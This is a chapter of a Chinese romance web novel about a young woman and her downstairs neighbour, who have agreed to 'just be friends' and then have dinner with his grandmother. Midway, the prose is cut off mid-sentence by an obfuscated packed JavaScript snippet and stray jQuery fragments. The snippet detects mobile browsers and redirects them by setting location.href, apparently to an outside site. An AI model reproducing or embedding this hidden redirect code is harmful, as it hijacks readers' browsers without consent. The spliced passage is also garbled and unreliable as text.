“做朋友”这件事，如果心照不宣反而好把握分寸；可一旦挑明了说出口，界限反倒变得微妙起来。


    就像住在同一栋楼里的两个人，无论有意回避还是无意相撞，总会有一天在楼梯转角不期而遇。


    越是大大方方越显得正常，越是刻意回避越显得心里有鬼。


    宋舒昭牢记这句话，每次碰见都表现的有些过于热情，声音总比对方先一步到达——


    “早啊！今天天气真好！”


    “好巧哈哈哈，又见面了呢。”


    “你要扔垃圾去呀，我突然想起来我家厨房的垃圾也该扔了。”


    ……


    林邱瑜总是一副欲言又止的样子，但好在他是个足够体面的成年人，每次都会妥帖地接住她抛来的问候，从来没有让她尴尬和难堪过。


    说是做朋友，可是一次又一次恰到好处的回应，让两个人之间砌起了一面透明的墙，他们开始越来越陌生了。


    好像什么都没变，但好像什么都变了。


    宋舒昭没忍住把这件事告诉了范雯，本以为会收获她的理解和安慰，结果没想到却获得了满屏的“？？？”


    ［女人，你爱情的小火苗就这么被你硬生生掐断了，从现在开始你每天跪着为它默哀吧。］


    宋舒昭看完冷笑一声，［滚。］


    说好的“闺蜜开团我秒跟”呢？


    宋舒昭第一次怀疑起自己和范雯十多年友谊的可靠性了，现在绝交还来得及吗？


    “咚、咚、咚。”


    门被有规律地轻敲了三声，宋舒昭拉开门，意外地看到了林邱瑜的脸。


    “你好呀，请问有事吗？”她下意识将半个身体躲在门后，只探出了个脑袋。


    “我奶奶回来了。”林邱瑜面色如常地说。


    “啊，原来如此，”宋舒昭恍然，眼睛微微睁大“我就记得以前楼下住户是个奶奶，可我居然完全没把你们两个联想到一起，还一直以为她把房子卖了呢！”


    “嗯，她想邀请你吃饭。”林邱瑜很快跟上一句，顿了顿他又补充道：“你可以拒绝，我会和她说你没有时间。”


    空气突然凝固。


    宋舒昭回味了一下方才的话，忽然笑了，歪着头试探地问：“既然借口都替我找好了，为什么还要来问我呢？”


    林邱瑜垂下眼帘，轻声道：“因为……我确实有期待过不一样的答案。”


    宋舒昭心头一颤，却故意扬起灿烂的笑容：“那恭喜你如愿以偿啦～”


    “走吧！”宋舒昭作势抬脚往外走，却又突然刹住脚步，低头揪着自己的睡衣衣角来回打量，犹豫地说：“我穿这身会不会太随便了？要不要回去换套衣服？”


    “没事的，老人家就是图个热闹，”林邱瑜看着她毛茸茸的睡衣上面晃悠的两只兔耳朵，突然笑了笑：“反正又不是安排相亲，你不用有负担。”


    他的语气里带着几分刻意展现的轻松，像是提前划清了某条界限。


    宋舒昭张了张嘴，话到嘴边又咽了回去，默默跟在他身后下楼。


    这栋老小区没有电梯，楼道只能容一人通过，无法并肩。宋舒昭盯着眼前人的背影，忽然注意到他肩胛骨在衬衫下若隐若现的轮廓。正出神间，前面的人毫无预兆地停下脚步。


    “啊！”她猝不及防撞上他的后背。


    林邱瑜的背脊比想象中结实，她甚至能感受到衣料下肌肉的紧绷。


    宋舒昭稳稳站住脚，刚松了一口气，怒目圆睁，正要发作，一阵清冽的艾草香忽然钻入鼻尖。


    林邱瑜单手插兜，另一只手拎着个绣工精致的香囊在她眼前晃悠，他惜字如金地开口：“差点忘了，这个给你。”


    “啊？”宋舒昭诚惶诚恐地接过，正经不到一秒钟，就开始满嘴开火车：“你特意给我准备的吗？还怪好看的呢，话说你是不是暗恋我，要不然干嘛整古人那一套，送什么香囊。”


    “这里面是艾草，助眠的，你是发烧了吗？胡话怎么那么多，不想要就算了。”林邱瑜红着脸，作势就想拿回来，结果被宋舒昭一手拦截。


    她狗腿地笑了笑，说：“要啊要啊，怎么不要呢，太谢谢你了，你人真好啊大师，我会好好把它放在床头的。”


    “嗯。”林邱瑜故作冷淡地应了一声，伴随着转身嘴角一同扬了上去。


    “人请过来了，你自己处置吧。”


    这话说得活像□□交接人质，宋舒昭正暗自腹诽，扭头就看到一个端着大盘鸡笑眼眯眯的奶奶。


    “来喽，开饭喽！两位小朋友快洗手吃饭。”


    宋舒昭不常被邀请去别人家吃饭，略显拘谨。满桌的菜，她却只敢干扒碗里的白米饭，夹离自己最近的菜。


    “你就是小昭吧，我这两天总听小瑜提起你。”奶奶一直看着她笑。


    林邱瑜蹙眉：“我就提过一次，哪里总提起？”


    宋舒昭尬笑几声，生怕他再说出什么糗事，连忙打圆场，接过话茬：“哈哈，提起我应该也是因为我家漏水的事情吧，真是太抱歉了奶奶，给你家添麻烦了。”


    “哎呀没关系没关系，这都是谁也预料不到的事情嘛。”奶奶说着，在桌下狠狠踩了林邱瑜一脚：“小瑜，你给小昭夹个虾。”


    “为什么？”


    “让你夹你就夹，哪有那么多问题！”


    “不用不用，我对海鲜过敏奶奶，”趁此机会，宋舒昭给自己夹了一块排骨，边啃边说：“我吃这个就好。”


    话音刚落，那盘排骨就被推到了她面前。她错愕抬头，却见某人一脸云淡风轻，仿佛刚才的动作与他无关。


    奶奶笑言眯眯地把一切尽收眼底，她又问：“那你对鱼过敏吗？”


    “嗯，海鱼都过敏，只有一些江鱼能吃。”


    “这不巧了，小瑜是在江边出生的。”


    “奶奶……”林邱瑜无奈扶额，试图制止。


    奶奶置若罔闻，继续发问：“昭昭呀，你有男朋友吗？喜欢什么类型的男生呀？”


    她一边说，一边又往宋舒昭的碗里夹了一块红烧肉。


    又是这个问题，宋舒昭心里叹了口气，筷子无意识地戳着碗里的米饭，觉得自己提前回家过年了，正盘算着怎么回答，突然听到——


    “别问了，她有老公。”


    “啊？”


    “啊？”


    两道震惊的目光同时射向林邱瑜。他淡定地瞥了宋舒昭一眼，嘴角勾起一道意味不明的笑容：“那天不是你亲自给我介绍的吗？”


    “对对对！”宋舒昭立马会意，点头如捣蒜：“我老公在边境工作，我们两个聚少离多，他一年也就能回来几次。”


    奶奶似笑非笑地看了两人一眼，没再追问。


    饭后，奶奶把抢着洗碗的两人赶出厨房，指派林邱瑜带宋舒昭参观他的房间。


    “就这么点地方，有什么可参观的呀？”林邱瑜的抱怨在奶奶的眼神威慑下戛然而止。


    宋舒昭憋着笑，故意学他的语气：“就这么点地方，有什么好参观的呀？”


    “跟我来……”林邱瑜无奈地转身，耳尖微微发红。


    推开卧室门，阳光裹挟着雪松洗衣液的清新气息扑面而来。


    房间出乎意料的整洁，单人床上的深蓝色条纹被褥平整得像刚熨过，唯有墙角敞开的行李箱和椅背上随意搭着的几件衣服，证明着这里有人居住。


    最引人注目的是那些墙上整齐贴着的奖状，但都停留在小学时期，最新的一张是“六年一班学习标兵。”


    宋舒昭的目光轻轻地扫过那些已经泛黄的奖状。


    “真好呀，你竟然还都留着，我小时候的奖状因为搬家，都不知道丢哪去了。”


    “我也就只有这些了。”林邱瑜语气平淡：“都是我奶奶硬要贴墙上的，她本来还想贴在客厅，被我制止了。”


    书桌上摆着一排木质相框，宋舒昭突然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008103|178388||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扭捏起来，用手指着它们，明知故问：“这些……都是你的照片吗？”


    “是。”林邱瑜瞥见宋舒昭的眼睛都快斜到只能看到眼白了，嘴角微微上扬，说：“摆都摆出来了，还问什么？随便看。”


    得到许可后，宋舒昭也不再拘谨了，她凑到桌前，细细地观看每一张照片——刚入学的小男孩穿着雪白校服，对着镜头腼腆地抿着嘴；夏天整个人晒得黢黑，一只手吸溜着冰棍，一只手还不忘比耶；学会骑自行车后，仰着小脑袋一脸骄傲……


    越往后，照片的间隔就越发明显。生活照戛然而止，取而代之的是从初中到硕士的毕业合影。


    在毕业照上，宋舒昭也终于完整知道了他的名字。


    “林邱瑜，原来是这个邱瑜，我还以为是秋刀鱼的秋鱼，你那天怎么不纠正我。”


    “因为没必要，名字而已，”林邱瑜倚着墙，没头没尾地突然来了一句，“你说对吧，小松鼠？”


    “什么？哪里有松鼠？”宋舒昭先是一愣，等她反应过来，本想佯怒，结果没忍住，直接破功，笑出了声，“我们这是在演动物世界吗？怎么又鱼，又松鼠的。”


    笑过后，宋舒昭想到什么，突然发问：“所以你妈妈是姓邱吗？”


    林邱瑜明显怔了一下，站直了身体：“你怎么知道？”


    “猜的。”宋舒昭神秘地眨眨眼，笑而不语：“那‘瑜’字是有什么寓意吗？”


    “没有什么特别的，就是我妈喜欢周瑜。”


    “三国的那个？”宋舒昭的眼睛一亮，声音带着掩藏不住的惊喜。


    “嗯。”林邱瑜点点头，有些意外于她突然的兴奋。


    真是没想到他竟然是“同担”的儿子，宋舒昭心头一暖。她再看向林邱瑜时，目光不自觉地柔和了许多。


    “那个……”她刚想开口说点什么，门外突然传来奶奶的脚步声。


    “孩子们，出来吃水果了！”


    宋舒昭猛然惊醒，突然想起意识到自己差点又要忘记“做朋友”这件事了。她立马心虚地往门外大声应道：“我们来了！”


    接着就几乎是落荒而逃般跑去门的方向。


    “宋舒昭。”


    这次换他叫住了她。


    “其实我一直想说，”林邱瑜的声音很轻，却字字清晰：“如果只是做朋友，不需要那么小心翼翼，你不用刻意地对我热情，也不用勉强自己去找话题。真正的朋友是不需要刻意维持的。”


    “我……”宋舒昭僵在原地，指尖无意识地摩擦着门框，一时舌头打结，不知道该怎么回应。


    她慢慢转过身，却在对上他目光的瞬间又仓促地移开了视线。


    “我只是不知道该怎么和你相处，我其实还没想好一些事情……”


    “坦白来讲，我也没想好。”林邱瑜轻笑一声，“但我希望我们可以回到之前那样的相处状态。”


    “至少可以做到不伪装。”


    宋舒昭忽然觉得胸口那块一直压着的石头消失了，她深吸一口气，声音也变得轻快起来：“好，我明白了。”


    “走吧，再不去奶奶该等急了。”


    林邱瑜转身去开门，袖口不经意擦过她的手腕，带起一阵细微的电流，宋舒昭几乎是下意识地拽住了他的手臂。


    “林邱瑜，”她听见自己的声音有些发紧：“我不喜欢吃苹果，一会儿要是有……你能不能帮我……”


    林邱瑜一怔，但答得很快，眼底带着明显的笑意。


    “好。”


    宋舒昭心脏漏了一拍，这才意识到自己还拽着他的手臂不放，连忙慌乱松开。


    然而下一秒他就俯身凑近——“不过松鼠为什么不爱吃苹果？”


    “你要死吗？”她咬牙切齿地说着，转瞬突然又朝他展露了一个甜的发腻的笑容。


    “那请问这位鱼先生，你每次路过海鲜市场的时候，是不是也经常走不动道，感觉特别有归属感呀？”